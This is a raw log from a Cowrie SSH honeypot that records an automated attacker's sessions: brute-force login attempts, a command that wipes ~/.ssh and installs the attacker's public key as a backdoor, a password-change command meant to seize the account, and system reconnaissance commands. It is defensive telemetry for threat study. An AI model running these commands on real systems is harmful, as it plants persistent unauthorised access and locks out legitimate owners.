{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.438258Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.609400Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.613656Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":58784,"dst_ip":"10.17.0.5","dst_port":22,"session":"90c14985c30b","protocol":"ssh","message":"New connection: 160.251.101.169:58784 (10.17.0.5:22) [session: 90c14985c30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.765206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.770516Z","src_ip":"160.251.101.169","session":"90c14985c30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.929157Z","src_ip":"160.251.101.169","session":"90c14985c30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:47.601697Z","src_ip":"160.251.101.169","session":"90c14985c30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:48.778173Z","src_ip":"160.251.101.169","session":"90c14985c30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"25556cfa5bfe","protocol":"ssh","message":"New connection: 160.251.101.169:44192 (10.17.0.5:22) [session: 25556cfa5bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:48.934027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:48.938806Z","src_ip":"160.251.101.169","session":"25556cfa5bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:49.098525Z","src_ip":"160.251.101.169","session":"25556cfa5bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:49.765346Z","src_ip":"160.251.101.169","session":"25556cfa5bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:50.930327Z","src_ip":"160.251.101.169","session":"25556cfa5bfe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.142511Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.146242Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.307819Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.664919Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin!@#\\naNpaNmr9pdb3\\naNpaNmr9pdb3\"|passwd|bash","message":"CMD: echo -e \"Admin!@#\\naNpaNmr9pdb3\\naNpaNmr9pdb3\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.668653Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.672131Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.675057Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/078f4112bf91e70fba0daa325611fa250ca75a6785a1821358c656540f781a15","size":32,"shasum":"078f4112bf91e70fba0daa325611fa250ca75a6785a1821358c656540f781a15","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/078f4112bf91e70fba0daa325611fa250ca75a6785a1821358c656540f781a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:51.840962Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:52.192950Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin!@#\\naNpaNmr9pdb3\\naNpaNmr9pdb3\\n\"|passwd","message":"CMD: echo \"Admin!@#\\naNpaNmr9pdb3\\naNpaNmr9pdb3\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:52.196492Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c5bac09ce0e6ff5da507a2ad5ac2a3c75773d9ee894ce3c6204e803cdaa7a1fb","size":25,"shasum":"c5bac09ce0e6ff5da507a2ad5ac2a3c75773d9ee894ce3c6204e803cdaa7a1fb","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c5bac09ce0e6ff5da507a2ad5ac2a3c75773d9ee894ce3c6204e803cdaa7a1fb after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:52.356877Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:52.773831Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:52.776011Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:52.940934Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.301829Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.305097Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.469062Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.822228Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.825645Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.828643Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:53.995119Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:54.354201Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:54.357579Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:54.519204Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:54.883518Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:54.887690Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:55.055254Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:55.416283Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:55.420074Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:55.581147Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:55.945027Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:55.949452Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:56.115900Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:56.469593Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:56.472867Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:56.633049Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:56.992126Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:56.995408Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:57.164055Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:57.526446Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:57.529999Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:57.699180Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:58.057652Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:58.060852Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
